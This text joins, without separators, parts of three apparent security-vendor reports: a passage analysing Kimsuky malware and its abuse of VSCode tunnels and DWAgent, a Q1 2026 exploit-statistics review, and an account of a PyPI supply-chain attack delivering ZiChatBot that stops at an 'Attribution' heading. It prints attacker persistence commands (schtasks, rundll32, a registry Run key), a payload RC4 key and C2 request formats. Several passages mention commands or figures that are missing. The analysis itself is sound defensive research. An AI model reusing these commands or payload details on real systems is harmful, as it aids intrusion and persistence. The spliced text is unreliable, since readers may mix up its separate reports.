(PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
(AppleSeed cluster) Use of the m= parameter in C2 communication.
(AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.
Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.
The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].
Value of elevation status
Description
0
Running under the SYSTEM account with an elevated token
1
Running under an elevated administrator account
2
Running without elevation
Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.
The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).
Windows commands used to gather system details
httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:
Value
Description
1
Send the session identifier (parameter s) along with the current state (parameter a)
2
Request command
3
Send result after executing the command (parameter d)
8
Request directory to be archived and sent
9
Send the archived directory
10
Send a message like “.cmd” or “.tmp” (parameter d)
11
Send ping
12
Send the captured screenshot (parameter d)
13
Send the infected device information (parameter d)
As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].
The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.
Structure of the ChaCha20-encrypted data blob
After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:
Value
Description
0
httpMalice has been activated
1
httpMalice has been inactivated (upon command 9)
2
httpMalice has been removed (upon command 8)
The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.
C2 communication sequence of httpMalice
When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.
The commands supported by httpMalice are as follows:
Command
Description
0
Do nothing
1
Execute the command with EUC-KR encoding
2
Download and extract the file to the infected device
3
Upload a directory to the C2 server after it has been archived
5
Get the current directory
6
Set the current directory
7
Execute the command without setting a EUC-KR character set
8
Remove its persistence traces and exit the process
9
Hibernate
10
Execute the command using the provided session ID
12
Capture the screen
13
Load the downloaded payload into memory
MemLoad downloads httpTroy
Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).
Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.
Below are the key operations of MemLoad:
Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/rl highest/f is executed. Otherwise, the task is named EdgeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/f is executed.
C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.
The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].
Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.
AppleSeed
AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.
Updated AppleSeed infection chain
There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.
HappyDoor
HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.
Post-exploitation
We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.
VSCode (launched by the JSE dropper)
Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.
The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.
The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.
Out.txt content
The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.
VSCode (launched by VSCode installer)
While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.
After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.
This is how the installer works:
Executes code.exe tunnel.
Searches for the “Microsoft Account” string in the stdout.
Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
Searches for the “use code” string in the stdout.
Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
Searches for the “What would you like to call this machine?” string in the stdout.
Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
Searches for the “https://vscode.dev/tunnel/” string in the stdout.
Sends the printed URL for tunneling to the Slack WebHook.
The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)
Creating a tunnel using VSCode CLI
Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.
An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.
DWAgent
DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.
We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.
This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:
The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.
The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.
For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.
The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.
Victims
We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.
Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.
While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.
Attribution
Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.
Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.
These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.
Conclusion
Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.
Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.
Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.
During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.
We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams
Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:
CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.
These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.
Below is the trend of exploit detections on user Windows systems starting from Q1 2025.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
On Linux devices, exploits for the following vulnerabilities were detected most frequently:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.
Most common published exploits
The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.
Distribution of published exploits by platform, Q1 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)
In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)
Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user
The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.
At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.
It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.
RegPwn (CVE-2026-21533): a system settings access control vulnerability
CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.
CVE-2026-21514: a Microsoft Office vulnerability
This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.
Clawdbot (CVE-2026-25253): an OpenClaw vulnerability
This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.
CVE-2026-34070: LangChain framework vulnerability
LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.
CVE-2026-22812: an OpenCode vulnerability
CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.
Conclusion and advice
We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.
To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.
Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.
While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.
To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.
Technical details
Spreading
The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.
Malicious wheel packages
The packages added by the attacker and listed on PyPI’s download pages are:
uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output
The key metadata for these packages are as follows:
Pip install command
File name
First upload date
Author / Email
pip install uuid32-utils
uuid32_utils-1.x.x-py3-none-[OS platform].whl
2025-07-16
laz**** / laz****@tutamail.com
pip install colorinal
colorinal-0.1.7-py3-none-[OS platform].whl
2025-07-22
sym**** / sym****@proton.me
pip install termncolor
termncolor-3.1.0-py3-none-any.whl
2025-07-22
sym**** / sym****@proton.me
Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:
Distribution information of the colorinal project
Initial infection
The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.
A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.
The termncolor library imports the malicious colorinal library
During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.
Windows version
Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.
After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.
The __init__.py script imports the malicious file unicode.py
This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.
The code loads the dropper into the host Python process
The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.
Dropper for ZiChatBot
From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:
Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.
The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.
Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.
To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:
Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.
The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.
Linux version
The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.
The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.
ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.
In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.
ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.
Infrastructure
We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.
The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.
Victims
The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.
Zulip has officially deactivated the “helper” organization
Attribution
